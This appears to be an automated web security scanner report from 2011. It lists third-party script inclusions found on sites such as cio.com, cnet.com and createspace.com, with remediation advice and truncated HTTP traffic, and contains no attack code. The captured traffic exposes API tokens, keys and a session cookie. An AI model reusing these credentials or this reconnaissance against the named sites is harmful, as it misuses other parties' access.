http://www.lifehacker.com.au/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/
http://www.lifehacker.com.au/2011/09/how-to-cope-with-the-qantas-strike-disruption/
https://www.merchantlink.com/logon/log_log_page.jsp
http://www.mtholyoke.edu/index.html
http://www.mtholyoke.edu/lits/learn/resources_faculty.html
https://www.onekingslane.com/contact-us
https://www.onekingslane.com/corporate/careers/tech/
https://www.onekingslane.com/join
https://www.onekingslane.com/join/api%252Fcustomer-summary.xml
http://www.ortussolutions.com/
http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
http://www.pedigolaw.com/
http://www.pedigolaw.com/wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js
http://www.reddit.com/static/button/button1.html
http://www.reddit.com/static/button/button2.html
http://www.simplyhired.com/
http://www.simplyhired.com/a/accounts/login
http://www.simplyhired.com/a/jobs/list/q-xss
http://www.simplyhired.com/a/our-company/about-us
http://www.simplyhired.com/a/our-company/contact-us
http://www.spro.com/Default.asp
http://www.styleshout.com/
http://www.techhail.com/
http://www.techhail.com/computers/gigabyte-motherboards-india/8481
http://www.techhail.com/headline/top-best-iphone-games/8468
http://www.techwev.com/
http://www.techwev.com/category/apple/
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/external.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/slideshow.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish.js
http://www.twittergadget.com/
http://www.twittergadget.com/contact.php
http://www.twittergadget.com/donate.html
http://www.twittergadget.com/donate.php
http://www.twittergadget.com/gadget.asp
http://www.twittergadget.com/how_to_install.php
http://www.twittergadget.com/keyboard_shortcuts.php
http://www.twittergadget.com/more.php
http://www.twittergadget.com/new.php
http://www.twittergadget.com/press.php
http://www.twittergadget.com/privacy.php
http://www.twittergadget.com/sign_in_with_twittergadget.htm
http://www.twittergadget.com/truncit.html
http://www.twittergadget.com/what_is_oauth.htm
https://www.twittergadget.com/
https://www.twittergadget.com/contact.php
https://www.twittergadget.com/donate.html
https://www.twittergadget.com/donate.php
https://www.twittergadget.com/gadget.asp
https://www.twittergadget.com/how_to_install.php
https://www.twittergadget.com/keyboard_shortcuts.php
https://www.twittergadget.com/more.php
https://www.twittergadget.com/new.php
https://www.twittergadget.com/notify.php
https://www.twittergadget.com/press.php
https://www.twittergadget.com/privacy.php
https://www.twittergadget.com/reauthorize.htm
https://www.twittergadget.com/sign_in_with_twittergadget.htm
https://www.twittergadget.com/sign_in_with_twittergadget.php
https://www.twittergadget.com/tabs.php
https://www.twittergadget.com/truncit.html
https://www.twittergadget.com/what_is_oauth.htm
http://www.vormetric.com/
http://www.vormetric.com/resources/useful_links.html
http://www.vormetric.com/solutions/index.html
http://www.vormetric.com/solutions/sap_data_security.html
http://www.zdnet.fr/

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

13.1. http://www.cio.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cio.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse
http://apis.google.com/js/plusone.js
http://content.dl-rms.com/rms/mother/572/nodetag.js
http://google.com/coop/cse/brand?form=searchbox_005964914320811651291%3Axkqet_zlicy
http://jlinks.industrybrains.com/jsct?sid=143&ct=CIO_HP_ROS&tr=CIO_WIDE&num=4&layt=4v1&fmt=simp
http://www.simplyhired.com/c/job-widget/js/widget.js

Request

Response

HTTP/1.1 200 OK
Age: 562
Date: Mon, 19 Sep 2011 19:29:02 GMT
Expires: Mon, 19 Sep 2011 19:39:02 GMT
Content-Length: 127043
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "KXAOEEJGPLTUZSTQK"
Server: Apache/2.2.3 (CentOS)
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=394
Cache-Control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <script type="text/javascript" src="http://m.cio.com/mobify
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.dl-rms.com/rms/mother/572/nodetag.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://google.com/coop/cse/brand?form=searchbox_005964914320811651291%3Axkqet_zlicy"></script>
...[SNIP]...
</script>
           <script type="text/javascript" src="http://www.simplyhired.com/c/job-widget/js/widget.js"></script>
...[SNIP]...

<script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=143&ct=CIO_HP_ROS&tr=CIO_WIDE&num=4&layt=4v1&fmt=simp"></script>
...[SNIP]...

   <script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

13.2. http://www.cio.com/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cio.com
Path:	/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse
http://apis.google.com/js/plusone.js
http://content.dl-rms.com/rms/mother/572/nodetag.js
http://google.com/coop/cse/brand?form=searchbox_005964914320811651291%3Axkqet_zlicy
http://platform.linkedin.com/in.js
http://wd.sharethis.com/button/buttons.js
http://www.linkedin.com/companyInsider?script&useBorder=yes
http://www.linkedin.com/js/analytics.js
https://apis.google.com/js/plusone.js

Request

Response

HTTP/1.1 200 OK
Age: 504
Date: Mon, 19 Sep 2011 19:32:43 GMT
Expires: Mon, 19 Sep 2011 19:42:43 GMT
Content-Length: 63085
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "KXAOEEJGPLVTVRTQK"
Server: Apache/2.2.3 (CentOS)
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Cache-Control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <script type="text/javascript" src="http://m.cio.com/mobify
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.linkedin.com/companyInsider?script&useBorder=yes"></script>
<script type="text/javascript" src="http://content.dl-rms.com/rms/mother/572/nodetag.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://www.linkedin.com/js/analytics.js"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://google.com/coop/cse/brand?form=searchbox_005964914320811651291%3Axkqet_zlicy"></script>
...[SNIP]...
<div class="tool">
<script src="http://platform.linkedin.com/in.js" type="text/javascript"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://wd.sharethis.com/button/buttons.js"></script>
...[SNIP]...

   <script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

   <script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

13.3. http://www.cio.com/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cio.com
Path:	/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse
http://apis.google.com/js/plusone.js
http://content.dl-rms.com/rms/mother/572/nodetag.js
http://google.com/coop/cse/brand?form=searchbox_005964914320811651291%3Axkqet_zlicy
http://platform.linkedin.com/in.js
http://wd.sharethis.com/button/buttons.js
http://www.linkedin.com/companyInsider?script&useBorder=yes
http://www.linkedin.com/js/analytics.js
https://apis.google.com/js/plusone.js

Request

Response

HTTP/1.1 200 OK
Age: 503
Date: Mon, 19 Sep 2011 19:32:38 GMT
Expires: Mon, 19 Sep 2011 19:42:38 GMT
Content-Length: 58062
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "KXAOEEJGPLOLWRTQK"
Server: Apache/2.2.3 (CentOS)
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Cache-Control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <script type="text/javascript" src="http://m.cio.com/mobify
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.linkedin.com/companyInsider?script&useBorder=yes"></script>
<script type="text/javascript" src="http://content.dl-rms.com/rms/mother/572/nodetag.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://www.linkedin.com/js/analytics.js"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://google.com/coop/cse/brand?form=searchbox_005964914320811651291%3Axkqet_zlicy"></script>
...[SNIP]...
<div class="tool">
<script src="http://platform.linkedin.com/in.js" type="text/javascript"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://wd.sharethis.com/button/buttons.js"></script>
...[SNIP]...

   <script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

   <script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

13.4. http://www.cnet.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/N2949.CNET/B5805422.5;sz=300x250;click0=http://adlog.com.com/adlog/e/r=8801&sg=540391&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2CD&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09&event=58/;ord=2011.09.19.19.28.09?
http://b.scorecardresearch.com/beacon.js
http://dw.com.com/js/dw.js
http://i.i.com.com/cnwk.1d/Ads/common/manta/adFunctions-cnet.js
http://i.i.com.com/cnwk.1d/html/pt/pt2.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/doors/doors.tron.r2d2.compressed.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/oreo.moo.rb.combined.js
http://platform.twitter.com/widgets.js

Request

Response

13.5. http://www.cnet.com/internet-security/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/internet-security/

Issue detail

The response dynamically includes the following scripts from other domains:

http://b.scorecardresearch.com/beacon.js
http://dw.com.com/js/dw.js
http://i.i.com.com/cnwk.1d/Ads/common/manta/adFunctions-cnet.js
http://i.i.com.com/cnwk.1d/html/pt/pt2.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/cbsnews/cbsnews.twitter.module.compressed.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/commerce/commerce.tron.computerSecurity.compressed.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/oreo.moo.rb.combined.js
http://platform.twitter.com/widgets.js

Request

Response

13.6. http://www.coastaldentalcare.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.coastaldentalcare.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://s7.addthis.com/js/250/addthis_widget.js
http://styles.prosites.com/1052/js/flash.js
http://styles.prosites.com/js/flash.js
http://styles.prosites.com/js/milonic_src.js
http://styles.prosites.com/js/mm.js
http://styles.prosites.com/js/swfobject.js

Request

GET / HTTP/1.1
Host: www.coastaldentalcare.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.google.com/search?gcx=w&sourceid=chrome&ie=UTF-8&q=coastal+dental+care#sclient=psy-ab&hl=en&source=hp&q=coastal+dentalcare&pbx=1&oq=coastal+dentalcare&aq=f&aqi=&aql=&gs_sm=e&gs_upl=10136l10136l0l10780l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&fp=1aed890c2a32d146&biw=1097&bih=869
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Tue, 20 Sep 2011 11:48:56 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Vary: Accept-Encoding
Content-Length: 18647

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Coastal Dental Care | Teeth Whitening, Cosmetic D
...[SNIP]...
<link href="http://styles.prosites.com/1052/css/print.css" rel="stylesheet" type="text/css" media="print" />
   <script src="http://styles.prosites.com/1052/js/flash.js" type="text/javascript"></script>
   <script type="text/javascript" src="http://styles.prosites.com/js/mm.js"></script>
<script type="text/javascript" src="http://styles.prosites.com/js/swfobject.js"></script>
<script type="text/javascript" src="http://styles.prosites.com/js/milonic_src.js"></script>
<script type="text/javascript" src="http://styles.prosites.com/js/flash.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4d80ec681d137d83"></script>
...[SNIP]...

13.7. http://www.computerworld.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.computerworld.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.demandbase.com/api/v1/ip.json?token=4aa25eb10e6f9884a91e9805c3fcb58ec1cd8407&callback=dbase_parse
http://bit.ly/javascript-api.js?version=latest&login=tweettrackjs&apiKey=R_7e9987b2fd13d7e4e881f9cbb168f523
http://content.dl-rms.com/rms/mother/573/nodetag.js
http://jlinks.industrybrains.com/jsct?sid=756&ct=COMPUTERWORLD_ROS&num=5&layt=3v1&fmt=simp
http://s.bit.ly/TweetAndTrack.js?v=1.01
http://static.polldaddy.com/p/5501411.js
http://www.dinclinx.com/?s=581&e=0&t=687&f=javascript
http://www.google.com/coop/cse/brand?form=searchbox_014839440456418836424%3A-khvkt1lc-e
http://www.simplyhired.com/c/job-widget/js/widget.js

Request

Response

HTTP/1.1 200 OK
Content-Length: 111559
ETag: "KXAOEEJGPLWNWSTQK"
Server: Apache/2.2.3 (CentOS)
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
nnCoection: close
Vary: Accept-Encoding
Cache-Control: public, max-age=118
Expires: Mon, 19 Sep 2011 19:32:02 GMT
Date: Mon, 19 Sep 2011 19:30:04 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
</script>
           <script type="text/javascript" src="http://content.dl-rms.com/rms/mother/573/nodetag.js"></script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=4aa25eb10e6f9884a91e9805c3fcb58ec1cd8407&callback=dbase_parse"></script>
...[SNIP]...
</script>
<script type="text/javascript" charset="utf-8" src="http://bit.ly/javascript-api.js?version=latest&login=tweettrackjs&apiKey=R_7e9987b2fd13d7e4e881f9cbb168f523"></script>
<script type="text/javascript" charset="utf-8" src="http://s.bit.ly/TweetAndTrack.js?v=1.01"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=searchbox_014839440456418836424%3A-khvkt1lc-e"></script>
...[SNIP]...
<div class="module" id="itjobs_module">
   <script type="text/javascript" src="http://www.dinclinx.com/?s=581&e=0&t=687&f=javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.simplyhired.com/c/job-widget/js/widget.js"></script>
...[SNIP]...


<script type="text/javascript" charset="utf-8" src="http://static.polldaddy.com/p/5501411.js"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=756&ct=COMPUTERWORLD_ROS&num=5&layt=3v1&fmt=simp"></script>
...[SNIP]...

13.8. http://www.connect.facebook.com/widgets/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.connect.facebook.com
Path:	/widgets/fan.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js

Request

Response

13.9. https://www.createspace.com/3411525 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/3411525

Issue detail

The response dynamically includes the following scripts from other domains:

https://ssl.images-createspace.com/csp/v20110916093136/Common/js/all-min.js
https://ssl.images-createspace.com/csp/v20110916093136/Common/js/urchin/urchin.js

Request

GET /3411525 HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://apidocs.coldbox.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:00:58 GMT
Server: Apache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 15561
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">

<html>

<head>

<script src="https://ssl.images-createspace.com/csp/v20110916093136/Common/js/urchin/urchin.js" type="text/javascript"></script>
...[SNIP]...
<![endif]-->

<script type="text/javascript" src="https://ssl.images-createspace.com/csp/v20110916093136/Common/js/all-min.js"></script>
...[SNIP]...

13.10. https://www.createspace.com/Workflow/cart.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/Workflow/cart.do

Issue detail

The response dynamically includes the following scripts from other domains:

https://service.optify.net/opt.js
https://ssl.images-createspace.com/csp/v20110916093136/Common/js/all-min.js
https://ssl.images-createspace.com/csp/v20110916093136/Common/js/urchin/urchin.js

Request

Response

13.11. https://www.createspace.com/en/community/community/member_showcase previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/en/community/community/member_showcase

Issue detail

The response dynamically includes the following scripts from other domains:

https://service.optify.net/opt.js
https://ssl.images-createspace.com/csp/v20110912181112/Common/js/menu.js
https://ssl.images-createspace.com/csp/v20110912181112/Common/js/urchin/urchin.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:43 GMT
Server: Apache
Set-Cookie: jive.recentHistory.-1=31342c323031383b; Expires=Wed, 19-Oct-2011 15:01:43 GMT; Path=/en/community
X-JAL: 91
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 55375
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
</script>

<script src="https://ssl.images-createspace.com/csp/v20110912181112/Common/js/urchin/urchin.js" type="text/javascript"></script>
<script src="https://service.optify.net/opt.js" type="text/javascript"></script>
...[SNIP]...
<div id="jive-wrapper" class="clearfix">

<script type="text/javascript" src="https://ssl.images-createspace.com/csp/v20110912181112/Common/js/menu.js">
</script>
...[SNIP]...

13.12. https://www.credit-suisse.com/who_we_are/en/office_locator.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/who_we_are/en/office_locator.jsp

Issue detail

The response dynamically includes the following script from another domain:

https://maps-api-ssl.google.com/maps?hl=en&file=api&v=2&key=ABQIAAAAe-BVbnCHNlqxcIWZfDiKlRSfTdUuLkoKqJVPqptfaP5m9KQofRR3MhWMHVN6Qv3DOFTmsHoA6nPKYA&client=gme-creditsuisse&channel=InternetFindus

Request

GET /who_we_are/en/office_locator.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:36 GMT
Content-Type: text/html; charset=UTF-8
Content-Language: en
Connection: close
Content-Length: 49802

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">



<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
...[SNIP]...



    <script src="https://maps-api-ssl.google.com/maps?hl=en&file=api&v=2&key=ABQIAAAAe-BVbnCHNlqxcIWZfDiKlRSfTdUuLkoKqJVPqptfaP5m9KQofRR3MhWMHVN6Qv3DOFTmsHoA6nPKYA&client=gme-creditsuisse&channel=InternetFindus" type="text/javascript"></script>
...[SNIP]...

13.13. http://www.csoonline.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csoonline.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/BrightcoveExperiences.js
http://api.demandbase.com/api/v1/ip.json?token=efb6d514cdcaa8a88ed8190a5011fe9532325aa8&callback=dbase_parse
http://apis.google.com/js/plusone.js
http://content.dl-rms.com/rms/mother/18704/nodetag.js
http://google.com/coop/cse/brand?form=searchbox_005964914320811651291:udjy26klife
http://jlinks.industrybrains.com/jsct?sid=757&ct=CSO_HP_ROS&tr=MARKETPLACE&num=3&layt=1&fmt=simp

Request

Response

HTTP/1.1 200 OK
Age: 545
Date: Mon, 19 Sep 2011 19:29:26 GMT
Expires: Mon, 19 Sep 2011 19:39:26 GMT
Cache-Control: max-age=600 ,public
Content-Length: 58333
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "KXAOEEJGPLSUXSTQK"
Server: Apache/2.2.3 (CentOS)
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=efb6d514cdcaa8a88ed8190a5011fe9532325aa8&callback=dbase_parse"></script>

<script type="text/javascript" src="http://content.dl-rms.com/rms/mother/18704/nodetag.js"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://google.com/coop/cse/brand?form=searchbox_005964914320811651291:udjy26klife"></script>
...[SNIP]...


<script type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script>
...[SNIP]...
<div id="resource_center">

<script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=757&ct=CSO_HP_ROS&tr=MARKETPLACE&num=3&layt=1&fmt=simp"></script>
...[SNIP]...

<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

13.14. http://www.csoonline.com/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csoonline.com
Path:	/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.demandbase.com/api/v1/ip.json?token=efb6d514cdcaa8a88ed8190a5011fe9532325aa8&callback=dbase_parse
http://apis.google.com/js/plusone.js
http://content.dl-rms.com/rms/mother/18704/nodetag.js
http://google.com/coop/cse/brand?form=searchbox_005964914320811651291:udjy26klife
http://jlinks.industrybrains.com/jsct?sid=757&ct=CSO_HP_ROS&tr=MARKETPLACE&num=3&layt=1&fmt=simp
http://wd.sharethis.com/button/buttons.js

Request

Response

HTTP/1.1 200 OK
Age: 504
Date: Mon, 19 Sep 2011 19:33:12 GMT
Expires: Mon, 19 Sep 2011 19:43:12 GMT
Content-Length: 70382
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "KXAOEEJGPLUOSRTQK"
Server: Apache/2.2.3 (CentOS)
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Cache-Control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=efb6d514cdcaa8a88ed8190a5011fe9532325aa8&callback=dbase_parse"></script>

<script type="text/javascript" src="http://content.dl-rms.com/rms/mother/18704/nodetag.js"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://google.com/coop/cse/brand?form=searchbox_005964914320811651291:udjy26klife"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://wd.sharethis.com/button/buttons.js"></script>
...[SNIP]...
<div id="resource_center">

<script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=757&ct=CSO_HP_ROS&tr=MARKETPLACE&num=3&layt=1&fmt=simp"></script>
...[SNIP]...

<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

13.15. https://www.cyscape.com/%22/products/bhtg//%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/%22/products/bhtg//%22

Issue detail

The response dynamically includes the following scripts from other domains:

https://lib.browserhawk.com/bhtg/bhawk.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape
https://lib.browserhawk.com/bhtg/bhawkplt.js?acct=cyscape

Request

GET /%22/products/bhtg//%22 HTTP/1.1
Host: www.cyscape.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.cyscape.com/order/order.asp?bhcp=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BA=ba=90453&be=33368.92&l=1161&le=4.69&ip=10.0.0.1&t=1316462241; __utma=172671793.283514393.1316462211.1316462211.1316462211.1; __utmb=172671793.3.10.1316462211; __utmc=172671793; __utmz=172671793.1316462211.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RT=s=1316462372001&r=http%3A%2F%2Fcyscape.com%2F; bhCookieSaveSess=1; ASPSESSIONIDAQRSSCCA=BOEBNBDDEMFJBLNILPJCHJDN; bhPrevResults=bhjs=1; bhawkplt=plt_state=transitional&plt_stm=1316462735601&plt_url=https%3A%2F%2Fwww.cyscape.com%2Forder%2Forder.asp%3Fbhcp%3D1

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:04:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 43036

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_ctl00_Head1">
<script>var _b
...[SNIP]...
</span><script src="https://lib.browserhawk.com/bhtg/bhawkerr.js?acct=cyscape"> </script>
...[SNIP]...
</script>
